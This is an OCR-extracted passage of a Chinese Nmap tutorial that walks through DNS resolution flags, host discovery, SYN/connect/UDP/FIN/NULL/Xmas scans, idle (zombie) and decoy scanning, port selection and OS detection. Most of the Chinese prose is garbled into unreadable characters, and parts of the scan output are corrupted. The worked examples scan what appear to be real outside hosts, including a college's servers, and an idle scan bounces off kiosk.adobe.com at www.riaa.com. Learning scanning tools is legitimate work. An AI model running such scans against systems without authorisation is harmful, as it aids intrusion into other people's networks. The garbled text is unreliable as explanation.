RGeS, BEEDIXMERUIG, 2058 KA 154 X5 0 i 1P Huhik DAR 2 )y 20 % [F1 45
YR, XEERLAT AR B AR T,

2.9.2 Nmap F78Y DNS 1%&Ii

Nmap 7EX%F H #n EVLFHITHH 96052, 2R B s EVLE— & X SMEAE Web ik 55 19 ik
F v, WAERTAH—AIPHILZ A, EaH — 184 (BaAfFfegl1, 1Pk A
60.2.22.35, ‘BB 8EE www.tstc.edu.cn) . FEXf— & EVLHATHAI AR, WHR EH BHA
R)i5, Nmap 2[4 RS HIER, Bnix P A e . B2, AdEfTaHer, o]
BB A2 —VEE, 7EXUREN EVLATRER A TIEBOIRES, 1A B4 T HE 3 BRoR
A, WREBEATER, Nmap REXTAb T BRASK FVLE3E1T DNS Ffe, mAETRHBORER
EVUNA T AL,

MiX AL, A —FB4 a0 45 1K A Nmap I AL EEAE AR Zenmap K B~, BF
Zenmap =TEJG A MBI A, XRFLEEN TEMERER, K 2-8 B8 | Zenmap Y T
VEFRTH . BAERZXS T Zenmap WIME 7 5 R T M0 . 7EF 2-8 W 1 b T4 A Nmap
e, 2 AbHT B8 Nmap FIHEREEE R

| — |l o[5S
i K &

i@ IAD REE ®H

A 2-8 Zenmap B TAEFRm

B, WRAZEA K B IP TTIE &0 206 BR LT W i) 3822 #7203, B
DI -R Z%%, W 2-9 Fis.
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frAE . Nmap -R [ HAF IP]

A IAD EREPE) %EmH)
BtR  211.81.200.1-20 E| EE

#&<: Nmap -R 211.81.200.1-20

85 | Nmepm | @m0/ | | nes|ss

EEEs « =4 « |Nmap -R 211.81.200.1-20 El BR=E
L jpktstc.e -
Starting Nmap 7.30 ( https://nmap.org ) at 2016-11-18 13:27 ?D10:é=2&+?? T
[ - dnsl.tstc Nmap scan report for jpk.tstc.edu.cn (211.81.200.3) =
Host is up (@.8874s latency). 4
- dns2.tstc Mot shown: 998 filtered ports
) | | porT STATE SERVICE
w ddjy.tstc. = BO/tcp open http
7] ghc.‘tstc.e 5008/tcp open upnp
L] Jwgl.tstcs Nmap scan report for dnsl.tstc.edu.cn (211.81.280.5)
. Host is up (©.8893s latency).
fos Jwgltstc. Mot shown: 996 filtered ports
w s wal.tet PORT STATE SERVICE
Jwgl.tstca 22ftcp open ssh
w nhee.tstc 53/tcp open domain
88/tcp open hittp
[T "l"idﬂ'ﬂ:titl 443/tcp open https
< = | i Nmap scan report for dns2.tstc.edu.cn (211.81.200.6)
Host is up (@.8898s latency).
ST | Not shown; 996 filtered ports

Kl 2-9 (EHIZ%E -R BHHEER

AR SRR B — > TP # AN B4, WP REMIE], AN Al EE &HMIE EVLI
545, TR e, AT AT LAE A -n SEORBUE XT84 5%, E 2-10 FiR.
X — R TR X R RS ) I 28 3304 743 Fl I SBCRARCH BH 2

#wAE%: Nmap -n [ E4F IP]

- Zenmap i | = M

Himia IRO BEE) HENH)

Btf: |211.81.200.1-20 El R EI p_—

#%: Nmap -n211.81.200.1-20

| Eﬂ, J = Nmap8ii | #00/=H] | 153 | THEAE | 98
MIEES 1 =H) . Mmap -n 211.81.200.1-20 E
s jpk.tstc.e -
Starting Nmap 7.38 ( https://nmap.org ) at 2016-11-18 13:3@ ?D1d:éx?&:??
e dnslitstc MNmap scan report for 211.81.200.3 =
- d Host is up (8.822=s latency).
ns2.tstc Mot shown: 998 filtered ports
(™ ddiv.tstc.|= PORT STATE SERVICE
A Bo/tcp open http
] ghc.tstc.f 5888/tcp open upnp
e jwgltste. Nmap scan report for 211.81.200.5 Il
, Host is up (@.821s latency).
W jwgltstc. Not shown: 996 filtered ports
W - wval tst P PORT STATE SERVICE
LTSS 22/tcp open ssh
™ nhee tstc 53/tcp open domain
B@/tcp open http
& wideo.tst 443/tcp open https
e ' ; Nmap scan report for 211.81.200.6
e Host is up (@.821s latency).
L —— ] Not shown: 996 filtered ports -

E 2-10 HHSH -n HMER
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1 B (1) B 4 {19 AR 72 Nimap N B 58k, W SR A8 A Nmap Fr 7 £HLHY DNS AL & JF
s, Sl M RHXNS8 . AdXFOERAOH, RS2 E,

WERATEH O DNS RS#5 8 T X RAMBICS, TIRET 2L HI8 &1 DNS IR 55 #%
KW HAR, XEELAT LA --dns-servers 248 .

4r41E % . Nmap --dns-servers [serverl,server2,etc] [ E#F IP]

THEIRATLL 202.99.160.68 1E4 DNS [k 55#8 K58 B H .

Nmap --packet-trace -R --dns-servers 202.99.160.68 211.81.200.8

ME 2-11 o] IR H, BAEHGE P I A DNS RS 25882 202.99.160.68,

©. Zenmap o l':' =] g
Hea) TED REER HEnH)
Bi5: 211812003 -] == EREDRET
= hlmap --packet-trace -R --dns-cervers 202.00.160.68 211.21.200.8
Lo, 5 | | Nmep |y | B | =vmma | 2
BiEEsE 4 =H] - Mmap --packet-trace -R --dns-servers 202.92.160.68 211312008 ILI il
L jpkstc.e addr.arpa..... T ) ' -
uuuuu [ A228=] nzock_read(): Read reguest from IOD #1
#  dnslistc [202.00. 168.68:53] [timeout: -1ns) EID 58
™ drs2 kste — eI TrIYs] nsock_trace handler_callback(): Callback: READ SUCCESS
: For EID SO [202.99.160.68:53] (43 bytes): vesensvneessa5.208,81.211,in-
o ddjy.tstc. | = addr.arpa. .. ..
MSOCK INFO [11.8228s] nsock_read(): Read request from I0D 31
[ -_gl'-r:.tst:.e [202.09.160.68:52] (timsout: -1ms) EID 58
. N50CK LNFD [11.8228s] nsock_trace_handler_callback(): Callback: READ SUCCESS
B jwgltstc For EID 58 [262.99.160.68:53] (43 bykes): vvueveone....B8.200.84.211.4in-
. addr . arpa... ..
. Jrg L tste. MSOCK INFO [11.8228s] nsock_read(): Read request from I0D 31
W jw‘gltstm_ [202.99,168.68:53] (timeout: -1lms) EID &6
T NSOCK LNFD [11.8228s] nsock_iod_delete(): nsock_iod_delete (IOD #1)
(7] nhece.tste NSOCK INFO [11.8216=] nevent_delete(): nevent_delete on =vent #66 (type READ)
Host iz up {@.88B4=z latency].
LT video.tsh Mot shown: 994 closed ports
. .~ |PomT STATE SERVICE
= ITI b 23 tep open  ssh Al
50/tcp open AtLp B
=] ‘ 111 /tcp open rpcbind 3

K 2-11  f#FHZ4%L --dns-servers HFF#45 5

2.10  FEPURIBEARH 53 Br

“WammgRfa, AWHKEM,” FERANTEI Nmap 58 KIIREZ B, A3 FHF5R e
WL . IR RELRE T — 1 XUBE -0 W 28 34 T 2

Nmap L T --packet-trace LET, 8 f ‘B ¥ A] LLREE Nmap A 1) T PS5 A, W3
THREeR R, A T, W LLERA IR Nmap Hi217 R HE

fiiF SCTP /Y -PY #EI0 %} H A5 EHL 60.2.22.35 F1 192.168.0.1 #EF7HHi .

e 60.2.22.35,

Nmap -sn -PY 60.2.22.35

PG R .

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-17 12:51
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Note: Host seems down. If it is really up, but blocking our ping probes, try —-Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.77 seconds

XNEER BN 60.2.22.35 B9 EHLFFAETE R FHL, (HE8E o Z arpE i nT DIALHE X & F L
HEATHRRRE, 152X RS R 2R A Bir EVIFA SR SCTP i, 8 F R [FHE
ISR £ 45 192.168.0.1,

Nmap -sn -PY 192.168.0.1

FFAEERT

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-17 12:52
Nmap scan report for 192.168.0.1

Host is up (0.0040s latency).

MAC Address: D8:FE:E3:B3:87:A9 (D-Link International)

Nmap done: 1 IP address (1 host up) scanned in 1.77 seconds

IS R Z FVTERRRE, (HEAFREX & EVIWE A L2 SCTP thil, {H)E
ZEBHIF A SEeAE . X B --packet-trace ETIRIE & Nmap & 1% I EHE A

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-17 13:01

SENT (0.4940s) SCTP 192.168.0.5:40896 > 60.2.22.35:80 ttl=51 id=6676 iplen=52
SENT (1.4970s) SCTP 192.168.0.5:40897 > 60.2.22.35:80 ttl=50 1id=26673 iplen=52
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.71 seconds

MIX AT PUE ], FEXT 60.2.22.35 17 HiRT, Nmap &% T SCTP # ¥4, HEKA
W HAri 22, KI Nmap FIWT B s EVARES down, BIAETEER L,

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-17 12:58

SENT (0.4930s) ARP who-has 192.168.0.1 tell 192.168.0.5

RCVD (0.4930s) ARP reply 192.168.0.1 is-at D8:FE:E3:B3:87:A9
Nmap scan report for 192.168.0.1

Host is up (0.00s latency).

MAC Address: D8:FE:E3:B3:87:A9 (D-Link International)

Nmap done: 1 IP address (1 host up) scanned in 1.72 seconds

FE%F 192.168.0.1 FHnT, BARBMHH T -PY I, {HERAREA &% SCTP HEfl,
M T ARP # AR

X H AR BT Nmap (%11, Nmap &5 SEHIW H AR EVLS Nmap Frfe EVLE B4
Bl — B, aniRAHEITE, W E M ARP FHIEER

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-17 13:18

SENT (0.5060s) ICMP [192.168.0.5 > 60.2.22.35 Echo request (type=8/code=0)
id=4058 seqg=0] IP [ttl=53 i1d=43312 iplen=28 ]

SENT (0.5160s) TCP 192.168.0.5:38315 > 60.2.22.35:443 S ttl=49 id=52394

iplen=44 seqg=586499036 win=1024 <mss 1460>

SENT (0.5160s) TCP 192.168.0.5:38315 > 60.2.22.35:80 A ttl=40 id=40789 iplen=40
segq=0 win=1024

SENT (0.5160s) ICMP [192.168.0.5 > 60.2.22.35 Timestamp request (type=13/
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code=0) 1d=42851 seg=0 orig=0 recv=0 trans=0] IP [ttl=57 1d=42214 iplen=40 ]
RCVD (0.5260s) ICMP [60.2.22.35 > 192.168.0.5 Echo reply (type=0/code=0)
1d=4058 seq=0] IP [ttl=52 id=63979 iplen=28 ]

Nmap scan report for 60.2.22.35

Host is up (0.020s latency).
Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds

Wt g R Al ARG A B, ERAEHE B EOL T Nmap 238 H R &35 4
ICMP (#8143, 4774 Echo request 1 Timestamp request, X1~ ICMP ZHE40 A9 H frim 43
A 443 80,

X B FH --packet-trace 73BT T PN AL

QO Nmap fEFHAT EVLR BB E, TR E 1R 7720, Nmap &< cHlr— F Bis

FHL5 ACBBER—F M, WRER—FMY, Nmap EEEH ARP PrFEHH
i, AR 82,
Q AR E AR R, Nmap HSLERT 4 MR

INE;

AR FEHE UM AR TSR EALR LB, Wit 1 W falid i Nmap 5 X 268
W] SOk BIE SEBIG R EALA L. RIS TRANSS T 80— bhk f g 2 . EARZE S
RHZbr, BE4%EETLTHE.

Q X FIHRFEVLAIBE R

Q JEER EVLEHE AL E A

Q Nmap 5 4o X 265 R

Q 4%} Nmap H )X SeF AR AT 4047 o

55 3 TR AW EE B — A EEME—uw D, R 4w 9 A
L K tnfar{di B Nmap #6473 E 494 .



CHAPTER

%3%
em—"

ARENGUWT A

Qi AR -

Q ¥ H 2R

Q Nmap F% i H ARSI X o

QO Nmap H Y& Fhm FFFER

Q Nmap F )45 & = 1 BTE
BRNESEE Y NS

Q i H R

3.1 5 RS

MR - NEREEE—EET, IBAXEREFRZA ST EMEREGH AL,
At — B EFRE—-NMHAD, X A ORMANHESBFERN, [BEREEDRER
BHAREZANHAL, [ IiEE] 65 536 (216) 4>, MxXEH A 02 ME R 7 2515
Y o

WAL ) H St 2 Se il T AL . BIREA W HEAR, —& FVLEE R
BT MM RS, SERA - IBIFHITMGERE, BARSAF—Tuwmd, EEEA R
XAES T o IERCAARZH KA E 2 HBR)FEE S MEHITEE, MrA R RS LER
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Sl R RO A, IR 2 0T X ARG B2 AW A We? X AME 52
BAERGUALHE, 1B FrR AL SR 2 65 536 ~um B2 AR AR HIE B A m
H4s, MlERGEARWNENE B G &4 B O SR B0 21 24 850 A7 - om0 51
B

3.2 sk

AR P (RS LA IR] T LATRT B bk g 11 43R R J L2
Q A4 (well known port) : X —3uw H R H A H Y L, FIEWERRA “W Him
07 o B I 0 2] 1024 A% LR A A H o 18 H X 26 1 5 28 B s AL R
5 W EGHAT T ORHR, — AN H T e A . B BT Y 80 i B4 T Y B2
http i@ 157, T telnet 8 REH 23 Fim . Xebvm O REH —RE 24 s, FHibR
S AR PP i H
Q FE M O (registered port) : XA L5 AT LM 1025 2] 49 151, ENTHEEH
LR E| — 2RSS b, (HEIFRAAFRAE, ARFRF ] DORYESE bR 1T
xE Lo
Q ZHAH /8 FAE %G ( dynamic and/or private port) = X #4315 B 78 Bl & M\ 49 152
B 65 535, — kUL, WA AR ST ARLIZAS X RS 1, (AR X iR a0 v A2
S5 R, FA SRR P U R — R Dl W TR 7 0B e 58 70 o 11
AN, AREEEHUMUARE, AT LOR X 2k 43 “ TCP Plim a7 1 “ UDP Ppil
W7 PIRPARTRIAIEAY, 55 2 R RNE LB, £5H)2 0 DhEEE A 00 /) FEALIRAE
i B ue RS, X — 2RSS TCP WU UDP B &% R A3 P Al 45 B
AR5 Bt fsm O, e nl A4 A “TCP B3R 0" Al “UDP BMU®H” .
2 3-1 25 1T —20H UL s 1 RO I I AR 55
# 31 BERAwmOERENNMERSSER

wm O 5 # R tE B
1 tcpmux TCP %ij I IR %5 Z 52 H1
5 rje AR AT
7 echo echo ift55
9 discard FH T 3% 2 Y 25 R 55
11 systat FHFFN AR T 8 O B R GRS
13 daytime YR B L B A A (]
17 qotd BEBETHEIAEEHES
18 msp HE &£ MY
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(28)
W A5 = FR E H
19 chargen FAAERRS ; KATCIERFAR
20 ftp-data FTP &4
. ftp AR (FTP) w11, A B 7 SO R 55 193
(FSP) fiff H
22 ssh %4> Shell (SSH) k%
23 telnet telnet iR %
25 smtp ] B R F &R M. (SMTP)

3.3 Nmap Hbf g FEARE ) E X

B T H A H 0 B AR O BIRAS . Nmap X T 8 H T 6 PR PRSI .

3 open : N5 Hwss O EPRZE A open, X BATE R 1A N FHAR P UK TCP % 8E
UDP # 3.

Q closed: U Hp I EPIRZE N closed, X B ZHE closed A BMRE A LT N,
RE R closed B 2R PFIRIAY, X AP 1 A] PLERIR Nmap $RIM R SCH-ASU R . A
LeE s, &AW AP open BT .

Q filtered : 7 AEXFIEE R A RN FE R AF7E HARM BRI E, T X &dE T
I EHEAL, 530 Nmap JoiE#A & 1% O 2 AT, XFhiZ& T ae Ry . B ki
EELTIRZR2EM,

Q unfiltered : XAPGIRIR AU, BRI Hirws D20l LIY5RIAY, {H72& Nmap &I o5 W
B FIIKSE open B & closed . 1% SATEHFT ACK HHES A4 2 H B PR A

Q open | filtered: Joif e v H T Bt U8 1, A H AN st — 5

Q closed|filtered : Jo¥Hf & v F & A MR 28t 38 7. RAEMA idle HARA
2R X MO

3.4 Nmap %R D HABA

Nmap AL T R E BB ARSI b FORAS R, T TCP L ARAHX) UDP £ AR Z
Bk —2 FrLl TCP BRIl F Bt kb UDP E 2 —2, 2 EE L 443 TCP #) L
e, ATLAFI A TCP ) =B FHLH, 2 famEAR. Flan s R & SYN Fl
Connect PFPFIHE =,
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3.4.1 SYN g

SYN At e A RATRI—F A 20, [FIEH)E Nmap IR FHRUECA T30, XA
T R R, AT AE—BBh s BT, SYN it AE S e H 2l

iy 2

PR AT DAFE 33 46 09 B A5 g A S50 -sS 100, H 58 HEARAZ DA root B administrator £X
BRTAER, FMAERESZ SYN . 5% Nmap 21 Hbr EHLE— 3 1 & 2638 5K 2 1
SYN ##Efu, 1 BARHEAEERRIXA SYN BillEfuZ 54 L) SYN/ACK #4725, Nmap
TEWCE] SYN/ACK Ji4s & 3% RST G R #E#E M AR ACK W& . XM, ZREBETFTHEA
SR, JCEEEESLIEHE M) TCP #EH:, Wik, XREFASHIE R REH &b, PR
A—ASAE B EYVL B T AR

FEXT— P #5417 TCP SYN R, 45R K223 3-2 1 open., closed #1 filtered =7

z_'c:s
# 3-2 XTEFR#HIT SYN AN BAR TV M E S 3R i O R R A
BirEMBIRE Birim QB RZE
R B EVLLS H T —1 SYN/ACK R open
R EHAREVLS E T —4 RST W& closed
NS B br EHLEA 4 LA filtered
ICMP JCikfiiAshiR (JEA 3, 1051, 2, 3, 4, 10, 13) filtered
HF SYN g BT,

nmap -sS [target]

%t AR 192.168.153.131 =, AT,

nmap -sS 192.168.153.131

PSR,

Starting Nmap 7.30 ( https://nmap.org ) at 2016-11-21 14:43 ?DlutéXxX?2é&x??
Nmap scan report for bogon (192.168.153.131)

Host 1s up (0.000030s latency).

Not shown: 996 closed ports

PORT STATE
21/tcp open
25/tcp open
139/tcp open
445/tcp open

SERVICE

ftp

smtp
netbios-ssn
microsoft-dsMAC

Address: 00:0C:29:90:DF:C3 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 3.08 seconds
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3.4.2 Connect 35
i FH Connect 344w I BB INT

nmap —-sT [target]

R O S A SYN FHR1E, REXFHEH# XM T TCP i =iEF . XFp
A4 T2 root 8BX3 administrator AR .
@ st HEx 192.168.153.131 H, 42WTF.

nmap -sT 192.168.153.131

HFBZE R,

Starting Nmap 7.30 ( https://nmap.org ) at 2016-11-21 14:51
Nmap scan report for bogon (192.168.153.131)

Host is up (1.00s latency).

Not shown: 996 closed ports

PORT STATE SERVICE
21/tcp open ftp

25/tcp open smtp

53/tcp open domain
445/tcp open microsoft-ds

MAC Address: 00:0C:29:90:DF:C3 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 225.37 seconds

3.4.3 UDP 3

FE{d A UDP 34 (f#H -sU &30 ) XF— 4 i 1 #E47 UDP =i}, 453R 2% 3-3 iR
open. closed Fll filtered =& Z—.
= 3-3 X Biri#1T UDP BHER BRI E S 3 A in O R &

BRREVBRZ Rk OBPRES
M B bxii O3 EEE ) UDP L& open
IR B bR VLA 4 H A open|filtered
ICMP 3 F JCHEHRIR R ¢ (EAL 3, fU% 3) closed
ICMP JoiEHRiReE R (1 3, %1, 2, 9, 10, 13) filtered

FHER UDP SRy BEE A =B 8 . ] Connect 73 9i%m 1 BYTETIL AN T o
nmap —-sU [target]

fFanst Hbr 192.168.153.131 Ay H #8497 UDP 34, i8I T,
nmap -sU 192.168.153.131

HMBIGRIT

Starting Nmap 7.30 ( https://nmap.org ) at 2016-11-21 15:00
Nmap scan report for bogon (192.168.153.131)
Host is up (0.000080s latency).
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Not shown: 987 closed ports

PORT STATE SERVICE

42 /udp open|filtered nameserver
53/udp open domain

68 /udp open |filtered dhcpc

135/udp open msrpc

137 /udp open netbios-ns
138/udp open|filtered netbios-dgm
445 /udp open|filtered microsoft-ds
500/udp open|filtered isakmp

1028 /udp open|filtered ms-1sa

1031 /udp open |filtered iad2

1034 /udp open activesync-notify
1035/udp open mxxrlogin
3456 /udp open|filtered IISrpc-or-vat

MAC Address: 00:0C:29:90:DF:C3 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 3.74 seconds

AR A B S e — R ZS N filtered W T, X B A9 B SRS W] BE A2 open,
HA A BB S closed, ZEMIXELARZS N filtered F ¥ I H R BIRLE LS E: open W% 1, FF 2t —
AR, 5 TCP AE], UDP #2/5% # 5518 H A 2XT Nmap BT & 25 8923 Zde et (716, UDP
BREHEMATITE Mg, Flan, —4 SNMP iFREdE A =C85 DHCP 53 DNS /)
TR 2R, WRIRIERE W A & WE UDP iR 55 & 35618 AR, Nmap F 2
— MR R B R AFAX LoA%, Nmap KX LOBE U 4% XA 7E Nmap-service-probes H1 .
Al ME -sV 8 -A (XN SIER A HER]), Nmap B2 A8 openlfiltered 135
1% UDP probe, AR H R XL —> probe A | i, REHRSHAESH open.

3.4.4 TCP FIN 13i4

TCP FIN 347k 5 B Anim 1 & 25—~ FIN 8., # 88 RFC 793 BIHLE (http://www.
ietf.org/rfc/rfc0793.txt), X} F I MM H, HARRGN ZIR [F] RST frd.
5/ TCP FIN 3333 1 B3ELUAN T .

nmap -sF [target]

ol %t HAR 192.168.153.131 #47HHE, H2AWF .
nmap —-sF 192.168.153.131

3.4.5 NULL 3#5

TCP NULL 434 752 10) Hbrd 1 &6 — DA SR bR & 8L, #288 RFC 793 1)
HE, XTrA D, HIRRSN1ZR P RST Frid.
i TCP NULL iy H AEE T .

nmap -sN [target]
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%t B 192.168.153.131 #47HHE, 2 WTF .

nmap -sN 192.168.153.131

3.4.6 Xmas Tree 3315

TCP Xmas Tree A% & 18] H A 0 &% — &4 FIN. URG A1 PUSH Fris i %dE £,
B8 RFC 793 WI#ELE , XHFArA M imd, HinRG N ik [F RST fridi.
ffi i TCP Xmas Tree 33 %5 O AR A0 T 5

nmap -sX [target]

fltn%t HAr 192.168.153.131 78+, 42 WF.,

nmap —-sX 192.168.153.131

3.4.7 idle I35

XA SRR LT ae, EEATEMART, AiE I B iR EVLA R
WHat, BAar, BAREWERIEEHafar A, Am BREVEESIEEIFAZE
ARREIRE, EXFHEFE TG, FE- “S=77, BnE T MR AN TEA A,
R R i N6 = P AT 2 —JE B, BT DARATT A 2 Bl ) o

T A X R IR

HB 1. AW =71 1P ID EIFC R T K.

TR 2 . TEAYL DG — MRS =7 EVLEIERE, IS SIRE RS BinEL
v 1, HRYE HArdm FPRESAR, B EHLATRES SR =7 EHLAY 1P ID {EHE .

T 3. FHESREES = FVE IPID H, HEXHIRAIE.

XEF, =7 EHLE IP ID BN ZRARMT 1 8 2, R EEHMT 1, IBABHE=
J7 EVAE X R I8 A S R R B, XFME SUstIA A H s EVLA S O R . i
YT 2, BRI =7 EVLE A ] AN R TR, XAEELULEH H AR EALRY i O
ypa i i

FEX AR, BRSO — IR HRE A 5 = R, T DA ERE R TR A
AhEEIERAEES), Nmap ©44 T decoy scanning (-D) AJZIRE, 0J LAHS B FH & Bk H
C B Sy . ZRITEARA & His EALEEEE QAR vl ge et B Ax AL H &l sk Tk, M
idle A 730, BHFRFEVLHEPICFE FRAZEE =7 bk

idle FHH 8 575 — MERATE F AT LLGETE W 2% wh i) — S8 L2 2 HLH], i b 2% 0 A0 [l 45
FIRFAR (ACL), FLLEAT R Py HR M 2% BR &l 2 A ir48 2 1P suht X H Ny Ff k1T 5 e] . ALk
g, —STHEANR AT HE, &% STEP Ko i Bk BN, RIFMITAEK
Hu BAASE ) P 28 AT DT IR) o TN SRV 2 A R B, 3X LS — FhAE Y S B 4802 .
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idle FAHE B S MR R, % —A SYN i frfz 28 eyt (a] S 2JLEP, 1M idle 49
i I ] B 22 XA, 5 — R R R 2 n g, SRR I A S v iR A&
RthEE R, A RNEERN—GE, idle AR ERIRDIEER R — N EAETAERNS =
77 EHL,

X SR — DA R RS, 5G9 = EU=4E 1P ID B 7 25 2 2 AR i
), TIARRIEEEG BT TR, &2 R, EohRERICRH RS2 2R
MiRAEL. MARFVLEE =J7 EHLAIIER /ML E A BT

M2 EFH—B FIREESEN—GH =7 EVR? Fik—=2, EM—GFIL#HT
AP, T — P AR L LB ER G R, BaiFEE (-v), BERG SR
IP ID ¥4 K A, WRR[EMER “IP ID Sequence Generation: Incremental”, iXZ&—/NHE o
HETHESE— T, NAMRZRGERI NG EFEHE T —11PID, 75, WRXE EN
AR HAT R BERRE, X WEAE .

Ji¥k 21847 ipidseq NSE JAIAS . RFIIAM RS, J5E <4k,

w1, BB -G8 = FENE, —UIEERFE T, FlanfiH sI 2538 % kiosk.adobe.
com YE A= ML, RGN www.riaa.com A7, AMLGERINT .

Nmap -Pn -p- -sI kiosk.adobe.com www.riaa.com

Nmap done: 1 IP address (1 host up) scanned in 2594.47 seconds

Starting Nmap ( http://Nmap.org )

Idlescan using zombie kiosk.adobe.com (192.150.13.111:80); Class: Incremental
Nmap scan report for 208.225.90.120

(The 65522 ports scanned but not shown below are in state: closed)

Port State Service
21/tcp open ftp
25/tcp open smtp
80/tcp open http
111/tcp open sunrpc
135/tcp open loc-srv
443 /tcp open https
1027/tcp open 11S
1030/tcp open iadl
2306/tcp open unknown
5631/tcp open pcanywheredata
7937/tcp open unknown
7938/tcp open unknown
36890/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned 1in 2594.47 seconds

3.5 faxEHHasg 1
e AR T AT AR R R G T . 35 3-4 25 TR I A RE I s
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* 3-4 IEEAMIEmORTTE

K

47

& & im O 16 % i O B9 IE TR

FHEHE WA 100 45 H -F [target]
8 & H— i -p [port]
{8l FH 25 -k 48 e A i dw -p [name]
i P 2 3 H i -p U: [UDP ports], T: [TCP ports
341 P A g 1 p*
A4 B s H --top-ports [number]

1. FHEE AT 100 Nim

w4iE% . -F [target]

Xf HAR 192.168.153.131 £ 100 4~5 Wiw O AT, 0T

nmap -F 192.168.153.131

2. EEFE—"NwmA
#41% 3% nmap -p [port] [target]
F HFR 192.168.153.131 (1% 80 um LM THHE, ST .

nmap —p 80 192.168.153.131

3. (EABFHRieE RO

441 nmap -p [port name(s)] [target]

%7 HAR 192.168.153.131 Y smtp. http ¥ O #HA7HH, 2 00F.
nmap —p smtp,http 192.168.153.131

4. (FERMEER RO

#4i&3%: nmap -p U:[UDP ports],T:[TCP ports] [target]

X+ B bR 192.168.153.131 (14 53 5 O ¥ET UDP 34, 25 s 03647 TCP B, 2T,

nmap -sU -sT -p U:53,T:25 192.168.153.131

5. FHiEFrAIRO
438 nmap -p “*” [target]
XTHAR 192.168.153.131 BT A v H#EATHH, @AW,

nmap -p * 192.168.153.131
XA ITIREFR AT IR, B,
6. 1 HE Aim

#4353 . nmap --top-ports [number] [target]
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YT HAR 192.168.153.131 % WLi¥ 10 At O gk 184, 2T,

nmap --top-ports 192.168.153.131

M

KRBT v DA SCHE S, FR4 T Nmap s H T8 09 & FhEoR . 5y Fhad i
AT, PEAE R R] T AR AR A AT RE A RN o 5 4 TR 43 Nmap /9
1o il or——H 55 AR AERAE R G



CHAPTER

%45 0 4
IR FRFE SRS NRA

AR FEAPRE L — A /INEFIRTF U6 o

X FRA—RIT A MEERAR, w1 T AARHMEBZF L3 kA I3R6E, 1
RINF_EZXIAFHRBEZEYET — & XA KIELE, shEIRSGT 18 ARILE,
PRI EREA TR T KA “ERBEEHRN 69dE, TN “BEAR" FHMLHL
T 5] BT K AR AR T, SR AT B AT AT R 69 B AL R B AR A ST AR 2 G| AL L AL T
S, BeIRT A THRELEZDRRITGEBETEEM, F4L BT - NEBMG R T4
e, HEARZEEEHERIZBIEOEENG, AOSHIT I T XAMERE, 1223 FiE3K 5 X
T e, X “BEANT & BB IR IA69 7 X ZE XA, AIEAR TRFZER
TN, ILRE, ZAIHREZEREE, FHELN, BRMAEAZIAN “BBEAR .

A& T2 NERNR, ARE O] HIX] A R LR & RS e hiiE T
XH AR EGTR., MESPiiaief? (BERA —FalGe, $EREATBEIRHXIFA A
M4, kB T —&FiEE, mEAE eSS, (B2 —P) & e ?

ARERN BT NE

Q EFREEAER G,

Q BAERGIIRLL

Q FIHBAER G B AR TE L,

Q HATIRS KB

Q {8 F Nmap #F-17HR 5 & B .

Q RS R EAR 5 R,
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4.1 mFEERAE AR GU R IR St

HAR 222 1 T HE R AL R ERE R i shae, X—aHEAR EEinT
R T, T HAERZEE IR el DAt - B AR E R G AN T B 3, IRt a] LA
FH Nmap 75 R 2% b3 2R B 20 i ) R G el B R LR R S .

(A2 IF WA —Fh T H A LA A4 X M in BB E R GG B JLRIA M T MM H
T—8 %87 BTk, MR, XAREZRFW, mRd s m HirA X RE, AERIEHRW
] R R R G XAREF KERZ L TCP #1 UDP BRI, K2 a1y afEwih 75
5 (ISN), TCO #&H ., IP HriifF (ID) ZFmfaIEL . BnPZEE A (ECN), B HRKNEF, &
ANERVE R GEXT T 3% SEFRET AR 23 (M0 A [l A me 7, 330 286 T L3R B 3k s 7 o O REAE, SRS
ESRTE— N EAREH . Nmap SE47IH 51 B IR EF R iz %) 1z B9 3¢ R PR AFAE Nmap-os-db U7,
Nmap & 2205 IEUN T 2%,

Q LN T2 T BMERGEREEN 2T, HinfEkeiEE SUN.

Q #ERSG: FERGMNAS, il Windows, Mac OS X, Linux %,

Q #ERG A i Windows XP. Windows 2000, Windows 2003 . Windows 2008 45,

Q YFRARRAL. HwndE HI AL, fTERRS %% . BEARREBAT. BEHI 4% . WAP B0

R ES.

B TS SN, BAERGAIMASEME 1 T RGBT [E]) A1 TCP 41 m] Hil 1415 B,

5328, TEar 1T -0 Z8GHE ol i O R 58 BB E R G HH , IE 4-1 s,

S[=1E

Higm IBRD BEEFE HEEIH
B | 10.16.110.13 v| mE: | MRER

% |nmap -0 10.16. 110,13 |

(=0 [ BE | | meokith |0y mat| Soiess) 196
MRS 4 TR o |mmap -0 10.13.110.13 v| = [em)
o 10.18.110. 1=

Starting Hmap 7.12 ( https://nmap.org ) at 2816-11-14
16:41 2D1gtéxratdd

[lmap scan report tor 18.16.119.13

Host 1s wp (@.@8955s5 latency).

[lat shown: 991 closed ports

PORT STATE SERVICE
21l/tcp open  ftp

25/tcp open  smtp

20/ top open  http

135/tcp  open  msrpc
139/tcp  open netbios-ssn
443/tecp open https

445/ tcp  open microsoft-ds
1935/tcp open  multidropper
1688/tcp open nsjtp-dats

MAC ASddress: @9:235:B3:25:45:58 (Hewlett Paclkard)
Device_twype: general purpoase

Punning: Microsoft Windows #P|Z2@83

05 CPE:_cpe:/o:rmicrosoft:windows_xp cpe:/

a:microsoft :windows_server_2003

05 detgils: Microsoft Windows XP SP2 or SP3, or Windows
Server Zad

Network Distance: 1 hop

05 detection performed. Please report any incarrect
results at https: ./ nmap.arg/submit/ .
b3 Hmap dope: 1 JPF address (1 host up) scanned in 16.69

| TEET seconds e
4-1 {fif] Nmap X} Htn#aE R G kR
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XA i 2K 2 (8 Nmap BRIAH SYN 54 =00k 58 it AR, Aok #0E R ge ke i ik
I A DL (o] At B G T 5 AR AR S5 58 F . Nmap fIE LN 217 S5O LI EBE R Gk
Flan, A KH --osscan-limit ZEI , Nmap SXf# 2 “[F R BAIRE N open Hl closed 1 1~
